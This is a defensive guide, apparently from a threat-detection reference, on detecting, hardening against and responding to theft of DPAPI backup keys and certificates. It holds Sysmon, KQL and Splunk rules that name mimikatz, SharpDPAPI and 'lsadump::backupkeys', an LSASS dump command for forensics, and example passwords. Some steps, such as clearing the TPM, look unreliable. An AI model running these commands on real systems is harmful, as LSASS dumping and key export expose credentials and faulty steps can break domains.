Event ID: 4662
Task Category: Directory Service Access
Keywords: Audit Success
Subject:
Security ID: DOMAIN\BACKUP_SYSTEM
Account Name: BACKUP_SYSTEM
Account Domain: DOMAIN
Logon ID: 0xABCDEF
Object:
Object Type: SecretObject
Object Name: BCKUPKEY
Object GUID: {GUID}
Access Mask: 0x2
Expected Log Entry (Malicious Activity - Extraction):
Event ID: 4662
Task Category: Directory Service Access
Keywords: Audit Success
Subject:
Security ID: DOMAIN\ATTACKER_ADMIN
Account Name: ATTACKER_ADMIN
Account Domain: DOMAIN
Logon ID: 0xDEADBEEF
Object:
Object Type: SecretObject
Object Name: BCKUPKEY
Object GUID: {GUID}
Access Mask: 0x2
Detection Criteria (Alert on Occurrence):
Log Source: Security event log Event Name: Central Access Policy Staging Enabled / Disabled Trigger: Certificate properties modified, including export restrictions Applies To Versions: Windows Server 2016+
Manual Configuration Steps:
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025, Windows 10/11
<!-- Detect file creation of certificate/key files -->
<Sysmon schemaversion="4.4">
<EventFiltering>
<!-- Event ID 11: File Created -->
<RuleGroup name="" groupRelation="or">
<FileCreate onmatch="include">
<!-- Detect .pvk (private key) file creation -->
<TargetFilename condition="contains">.pvk</TargetFilename>
<TargetFilename condition="contains">.pfx</TargetFilename>
<TargetFilename condition="contains">.p12</TargetFilename>
</FileCreate>
</RuleGroup>
<!-- Event ID 3: Network Connection -->
<RuleGroup name="" groupRelation="or">
<NetworkConnect onmatch="include">
<!-- Detect exfiltration of keys over HTTPS -->
<DestinationPort condition="is">443</DestinationPort>
<Image condition="contains">mimikatz</Image>
</NetworkConnect>
</RuleGroup>
<!-- Event ID 1: Process Creation -->
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<!-- Detect Mimikatz or SharpDPAPI execution -->
<Image condition="contains">mimikatz</Image>
<Image condition="contains">SharpDPAPI</Image>
<Image condition="contains">certutil</Image>
<CommandLine condition="contains">exportPFX</CommandLine>
<CommandLine condition="contains">lsadump::backupkeys</CommandLine>
</ProcessCreate>
</RuleGroup>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Sensitive credential retrieval via certificate APIs” Severity: High Description: Alert triggered when CryptoAPI functions (CryptExportKey, CryptUnprotectData) are called in unusual contexts, suggesting private key extraction Applies To: All subscriptions with Defender for Servers enabled
Manual Configuration Steps (Enable Defender for Cloud):
Alert Configuration:
Expected Alert Output:
Alert Type: Suspicious Certificate Export Activity
Severity: High
Resource: Virtual Machine - DC01
Description: System detected CryptExportKey API call from process mimikatz.exe
Time Detected: 2026-01-06 10:15:22 UTC
Reference: Microsoft Defender for Cloud Alerts Reference
# Connect to Compliance Center (requires admin)
Connect-ExchangeOnline
# Search for certificate-related operations
Search-UnifiedAuditLog -Operations "AddServicePrincipalCredentials", "UpdateServicePrincipal" -StartDate (Get-Date).AddDays(-7)
# Search for certificate export operations
Search-UnifiedAuditLog -FreeText "certificate" -FreeText "export" -StartDate (Get-Date).AddDays(-7) | Export-Csv -Path "C:\Audit\cert_activity.csv"
# Analyze results
$AuditLogs = Search-UnifiedAuditLog -Operations "AddServicePrincipalCredentials" -StartDate (Get-Date).AddDays(-7)
foreach ($Log in $AuditLogs) {
$Details = ($Log.AuditData | ConvertFrom-Json)
Write-Host "User: $($Details.UserId)"
Write-Host "Operation: $($Details.Operation)"
Write-Host "Service Principal: $($Details.ObjectId)"
Write-Host "---"
}
Operation Names to Monitor:
Manual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search & Export):
Objective: Prevent extraction of Entra ID device keys by enforcing Trusted Platform Module (TPM) storage, making keys non-exportable from memory or registry.
Applies To Versions: Windows Server 2022, 2025; Windows 11 (Server 2016-2019 cannot use TPM for keys)
Manual Steps (Server 2022-2025 via Group Policy):
gpupdate /forceManual Steps (PowerShell - Server 2022-2025):
# Check TPM status
Get-WmiObject Win32_Tpm
# Enable TPM if disabled
# Open TPM Management Console
tpm.msc
# Or via PowerShell
$tpm = Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm
if ($tpm.IsEnabled() -eq $false) {
$tpm.Clear()
"TPM has been cleared. Restart to re-enable."
}
Expected Output (TPM Enabled):
PSComputerName : DC01
Status : Ready
ManufacturerId : 0x1414
SpecVersion : 2.0
What This Means:
Server 2016-2019 Note: TPM device key protection not available; focus on DPAPI backup key rotation and access controls
Validation Command (Verify Fix):
# Verify device keys are TPM-protected
Get-Item -Path "HKLM:\SOFTWARE\Microsoft\Identity\User\*\AadDeviceTransportKey" -ErrorAction SilentlyContinue
# If no results: Keys are in TPM (GOOD)
# If keys found: Still registry-stored (BAD - need TPM enforcement)
References:
Objective: Invalidate stolen DPAPI backup keys by rotating the domain master encryption key, forcing legitimate systems to re-key user secrets.
Applies To Versions: Windows Server 2016, 2019, 2022, 2025 (all versions)
Important Warning:
Manual Steps (Domain-Wide Rotation via ADDC):
# On Domain Controller (as Domain Admin)
Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup" | Export-Clixml -Path "C:\Backups\DPAPI_Backup_$(Get-Date -Format 'yyyyMMdd').xml"
# On any Domain-Joined machine (as Domain Admin)
$DomainName = "contoso.com"
# Force DPAPI backup key rotation
# This command contacts DC and rotates the key
$server = (Get-ADDomainController -Discover -DomainName $DomainName | select-object hostname).hostname
# Use AD provider to rotate
$rootDSE = [adsi]("LDAP://$server/RootDSE")
$forest = $rootDSE.rootDomainNamingContext
$domainRoot = [adsi]("LDAP://$server/CN=DPAPI,CN=System,$forest")
# Trigger rotation (requires domain admin)
# This creates new encryption key for all future DPAPI operations
# Check if key has been updated
$DomainRoot = [adsi]"LDAP://CN=DPAPI,CN=System,$([adsi]'LDAP://RootDSE').rootDomainNamingContext"
$DomainRoot.psbase.children | select-object cn
# Should show multiple backup key objects (old and new)
# Remove old backup key after replication complete and testing confirmed
# WARNING: Ensure all systems have new key before removal
# Premature removal will cause DPAPI failures
Manual Steps (Local Server - Test Before Domain Rollout):
# On a test domain controller
$BackupKeyPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup"
# Create new key
reg add "$BackupKeyPath" /v "BackupKey" /t REG_BINARY /d <new-key-hex> /f
# Verify all domain-joined systems can re-encrypt within 24 hours
# Monitor System and Application event logs for DPAPI errors
Expected Output (Successful Rotation):
[*] DPAPI Backup Key rotation initiated
[*] New key ID: {new-guid}
[+] Old key retained for 30 days: {old-guid}
[*] Replication to all DCs in progress (5-10 minutes)
[*] All systems will automatically re-encrypt secrets within 24 hours
What This Means:
Impact on Stolen Keys:
Validation Command (Verify Fix):
# Confirm backup key has been rotated
$OldKeyID = "{old-guid}"
$NewKeyID = "{new-guid}"
# Check if new key exists
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup" | find $NewKeyID
# Should return: Found new key
# Verify old key still present for compatibility (30-day window)
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup" | find $OldKeyID
# Should return: Found old key
References:
Objective: Mark all sensitive certificates (DC, ADFS, Exchange) as “non-exportable” so they cannot be exported via standard PowerShell/certutil commands; requires Mimikatz or kernel-level access to extract.
Applies To Versions: Windows Server 2016, 2019, 2022, 2025 (all versions)
Important: Non-exportable flag is NOT absolute protection (Mimikatz can still bypass), but significantly raises the bar for attackers.
Manual Steps (Revoke & Reissue Certificate as Non-Exportable):
certsrv.msc
Find certificate in the store (via mmc.msc or certificate manager)
$Cert = Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.Thumbprint -eq "ABC123..."}
Export-PfxCertificate -Cert $Cert -FilePath "C:\Backup\CurrentCert.pfx" -Password (ConvertTo-SecureString -String "P@ss" -AsPlainText -Force)
Remove-Item -Path "Cert:\LocalMachine\My\ABC123DEF456..." -Force
Import-PfxCertificate -FilePath "new_cert.pfx" -CertStoreLocation Cert:\LocalMachine\My$NewCert = Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.Thumbprint -eq "NEW123..."}
Write-Host "Exportable: $($NewCert.PrivateKey.CspKeyContainerInfo.Exportable)"
# Should return: Exportable: False
Manual Steps (Enforce via AD CS Policy - Server 2019+):
Validation Command (Verify Fix):
# Verify all sensitive certificates are non-exportable
$SensitiveCerts = Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Where-Object {
$_.Subject -match "DC|ADFS|Exchange|SQL"
}
foreach ($Cert in $SensitiveCerts) {
if ($Cert.PrivateKey.CspKeyContainerInfo.Exportable -eq $true) {
Write-Host "WARNING: $($Cert.Subject) is EXPORTABLE - remediate!" -ForegroundColor Red
} else {
Write-Host "OK: $($Cert.Subject) is non-exportable" -ForegroundColor Green
}
}
Expected Output (All Secure):
OK: CN=dc01.contoso.com is non-exportable
OK: CN=adfs.contoso.com is non-exportable
OK: CN=exchange.contoso.com is non-exportable
References:
Objective: Store Domain Controller, ADFS, and Exchange certificates on external HSM devices where private keys are non-extractable even by SYSTEM privilege.
Applies To Versions: Windows Server 2016, 2019, 2022, 2025 (requires compatible HSM hardware)
Common HSMs: Thales Luna, Yubico, nShield, Azure Key Vault (cloud HSM)
Estimated Cost: $5,000-$20,000+ per organization
Manual Steps (Using Azure Key Vault as Cloud HSM - Server 2022+):
Connect-AzAccount
New-AzResourceGroup -Name "HSM-Resources" -Location "EastUS"
New-AzKeyVault -Name "critical-keys-vault" -ResourceGroupName "HSM-Resources" -Location "EastUS" -EnablePurgeProtection
$Cert = Get-PfxCertificate -FilePath "C:\Backup\dc01_cert.pfx"
Import-AzKeyVaultCertificate -VaultName "critical-keys-vault" -Name "DC01-Auth-Cert" -CertificateString ([Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Backup\dc01_cert.pfx")))
Get-AzKeyVaultCertificate -VaultName "critical-keys-vault" -Name "DC01-Auth-Cert"
# Private key now protected by HSM; non-extractable
Validation Command:
# Attempt to extract key from HSM (should fail)
$Cert = Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match "dc01"}
$Cert.PrivateKey.Decrypt($null) # Will throw error if properly HSM-protected
References:
Objective: Limit read access to DPAPI backup key registry location to only SYSTEM and authorized backup services; prevent Domain Admins from unilateral access without audit.
Applies To Versions: Windows Server 2016, 2019, 2022, 2025 (all versions)
Manual Steps (Restrict Registry ACL on Domain Controller):
psexec.exe -s regedit.exe
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup
Right-click → Permissions
Administrators: Full Control
SYSTEM: Full Control
Authenticated Users: Read
SYSTEM: Full Control
Administrators: Read (audit access only, not modify)
Remove: All other users
$Path = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup"
$ACL = Get-Acl -Path "Registry::$Path"
# Create audit rule (log all access)
$AuditRule = New-Object System.Security.AccessControl.RegistryAuditRule(
"Administrators",
"ReadKey",
"ContainerInherit,ObjectInherit",
"None",
"Success"
)
$ACL.AddAuditRule($AuditRule)
Set-Acl -Path "Registry::$Path" -AclObject $ACL
gpupdate /forceValidation Command (Verify Fix):
# Check DPAPI backup key permissions
$Path = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup"
Get-Acl -Path "Registry::$Path" | Format-List
# Should show:
# SYSTEM: FullControl
# Administrators: Read (not Full)
# No Authenticated Users entry
Expected Output (Secure):
Path : Microsoft.PowerShell.Security\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup
Owner : NT AUTHORITY\SYSTEM
Access :
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow ReadKey
What This Means:
References:
Objective: Deploy EDR with CryptoAPI hooking to detect private key export operations (CryptExportKey, CryptoUnprotectData calls) in real-time.
Applies To Versions: Windows Server 2016, 2019, 2022, 2025; Windows 10, 11
Manual Steps (Using Microsoft Defender for Endpoint):
# Check if enrolled
Get-MpComputerStatus
# If not enrolled, deploy via Intune/GPO
DeviceProcessEvents
| where ProcessName in ("mimikatz.exe", "SharpDPAPI.exe") or
ProcessCommandLine contains "exportPFX" or
ProcessCommandLine contains "lsadump::backupkeys"
| project Timestamp, DeviceId, ProcessName, ProcessCommandLine, AccountName
Manual Steps (Using Splunk + Sysmon):
Validation Command (Simulate Detection):
# This will trigger alerts if monitoring enabled
# DO NOT RUN IN PRODUCTION WITHOUT APPROVAL
# Step 1: (Simulated) List certificates
Get-ChildItem -Path Cert:\LocalMachine\My | Select-Object Subject, Thumbprint
# Step 2: (Simulated) Attempt export (will be detected)
# $Cert = Get-ChildItem Cert:\LocalMachine\My | Select-Object -First 1
# Export-PfxCertificate -Cert $Cert -FilePath "C:\Temp\test.pfx" -Password (ConvertTo-SecureString -String "test" -AsPlainText -Force)
References:
Manual Steps (Azure Portal):
Certificate-Based Auth RestrictionsWhat This Does:
Manual Steps (Entra ID):
Rationale:
-Enc, -EncodedCommand (obfuscation)Objective: Prevent attacker from continuing to exfiltrate keys or moving laterally while investigation proceeds.
Command (Disable Network Adapter):
# Disconnect system from network immediately
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Or forcefully for all adapters
Get-NetAdapter | Disable-NetAdapter -Confirm:$false
Command (For Azure VMs):
Manual Steps (Physical DC):
What This Does:
Objective: Capture forensic artifacts before system shutdown (memory is volatile; must be collected first).
Command (Capture Memory Dump):
# Download ProcDump from Sysinternals
$ProcDumpURL = "https://download.sysinternals.com/files/Procdump.zip"
Invoke-WebRequest -Uri $ProcDumpURL -OutFile "C:\Tools\Procdump.zip"
Expand-Archive -Path "C:\Tools\Procdump.zip" -DestinationPath "C:\Tools\"
# Dump LSASS process (contains decrypted keys if extraction occurred)
C:\Tools\procdump64.exe -accepteula -ma lsass.exe C:\Evidence\lsass.dmp
# Dump all processes (comprehensive capture)
C:\Tools\procdump64.exe -accepteula -ma * C:\Evidence\memory_full.dmp
Command (Capture Event Logs):
# Export Security event log
wevtutil epl Security C:\Evidence\Security.evtx /overwrite:true
# Export System event log
wevtutil epl System C:\Evidence\System.evtx /overwrite:true
# Export Application log
wevtutil epl Application C:\Evidence\Application.evtx /overwrite:true
Command (Capture Registry):
# Export DPAPI backup key registry location
reg export "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI" C:\Evidence\DPAPI_Registry.reg
# Export Certificate store locations
reg export "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc" C:\Evidence\CertSvc_Registry.reg
Manual Steps (Using Event Viewer):
C:\Evidence\Security_$(Get-Date -Format 'yyyyMMdd').evtxExpected Output:
[+] Memory dump captured: C:\Evidence\lsass.dmp (500 MB)
[+] Event logs exported: C:\Evidence\Security.evtx, System.evtx, Application.evtx
[+] Registry exports: C:\Evidence\DPAPI_Registry.reg, CertSvc_Registry.reg
[*] Total evidence size: ~2-3 GB (collect before shutdown)
What This Means:
Objective: Remove attacker access, revoke stolen credentials, and restore system integrity.
Command (Disable Compromised Service Accounts):
# Stop any service accounts that had keys stolen
Disable-ADAccount -Identity "svc_adfs"
Disable-ADAccount -Identity "svc_exchange"
# Reset passwords
Set-ADAccountPassword -Identity "svc_adfs" -Reset -NewPassword (ConvertTo-SecureString -AsPlainText -Force "NewP@ss123456")
Command (Revoke Stolen Certificates):
# On CA server, revoke compromised certificates
# Open Certificate Authority (certsrv.msc)
# Right-click on certificate → Revoke Certificate
# Select revocation reason: "Unspecified" or "Superseded"
# Or via PowerShell (Server 2016+)
# Requires CA admin privileges
# No direct PowerShell cmdlet; use certsrv.msc GUI
Command (Restore Legitimate Backup):
# Restore previous clean system state backup (if available)
# For Domain Controller: Restore from System State backup
wbadmin get versions # List available backups
wbadmin start systemstaterecovery -version:VersionIdentifier
Manual Steps (Force DPAPI Key Rotation):
Manual Steps (Revoke via AD CS):
Expected Output:
[+] Compromised service account disabled
[+] Password reset forced
[+] Certificates revoked on CA
[+] CRL updated; revocation in effect within 24 hours
[*] Stolen keys no longer usable for authentication
What This Means:
Objective: Determine scope of compromise (did attacker use stolen keys elsewhere? Did they exfiltrate other data?).
Command (Hunt for Key Usage in Audit Logs):
# Search for suspicious certificate usage in last 24 hours
Search-UnifiedAuditLog -Operations "AddServicePrincipalCredentials", "UpdateServicePrincipal" -StartDate (Get-Date).AddDays(-1) -ResultSize 1000 |
Where-Object {$_.UserIds -ne "svc_backup"} |
Format-Table UserIds, Operations, CreationTime
Command (Hunt for TGT Requests Using Stolen Cert):
# On Domain Controller, check for Kerberos tickets issued to unexpected accounts
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]] and *[EventData[Data[@Name='TargetUserName']='Administrator']]" -MaxEvents 100 |
Select-Object TimeCreated, @{Name="SubjectUserName";Expression={$_.Properties[1].Value}} |
Where-Object {$_.SubjectUserName -match "ADFS|EXCHANGE|DC"} | # Expect only service accounts
Format-Table
Manual Steps (Hunt in Splunk):
sourcetype=WinEventLog:Security EventID=4771 TicketOptions="0x40800010"
| stats count by ServiceName, UserName
sourcetype=WinEventLog:Security EventID=4624 LogonType=3 SubjectUserName IN ("svc_adfs", "svc_exchange")
| where SourceIPAddress NOT IN ("10.0.0.1", "192.168.1.1")
Expected Hunting Results (Compromised):
[!] TGT issued to "Administrator" for user "ADFS_Service"
[!] LDAP query from "ADFS_Service" on DC at 02:34 AM (unusual time)
[!] Certificate-based auth from IP 203.0.113.50 (external IP)
[*] Scope: Moderate - Attacker likely used stolen keys for lateral movement
What This Means:
| Step | Phase | Technique | MITRE ID | Description | Enablement |
|---|---|---|---|---|---|
| 1 | Initial Access | Phishing Email or Web Exploit | T1566.002 / T1190 | Attacker gains initial foothold; downloads malware or social engineering | Enables local code execution |
| 2 | Execution | PowerShell / Command Line | T1059.001 | Execute malware or scripts to establish persistence | Enables privilege escalation attempts |
| 3 | Privilege Escalation | Token Impersonation / Kernel Exploit | T1134.001 / T1068 | Escalate from user to Local Admin or SYSTEM | PREREQUISITE for key extraction |
| 4 | Credential Access (Current) | Private Keys Theft | T1552.004 | Extract DPAPI backup keys, certificates, device keys | Enables authentication bypass & persistence |
| 5 | Persistence | Golden SAML / Forged Tickets | T1556.001 / T1187 | Use stolen ADFS certs to create forged SAML tokens (bypass MFA) | Attacker now has persistent access |
| 6 | Lateral Movement | Pass-the-Ticket / Golden Ticket | T1550.003 / T1187 | Use forged Kerberos tickets to move across domain | Enables access to high-value targets |
| 7 | Exfiltration | Data Staging / Encrypted Channel | T1074.001 / T1041 | Exfiltrate sensitive data via stolen credentials | IMPACT: Data theft, IP loss |
| 8 | Impact | Data Destruction / Ransomware | T1485 / T1561 | Deploy ransomware or destroy backups using stolen keys | FINAL IMPACT: Business disruption |
Use this checklist to guide response to a suspected private key theft incident: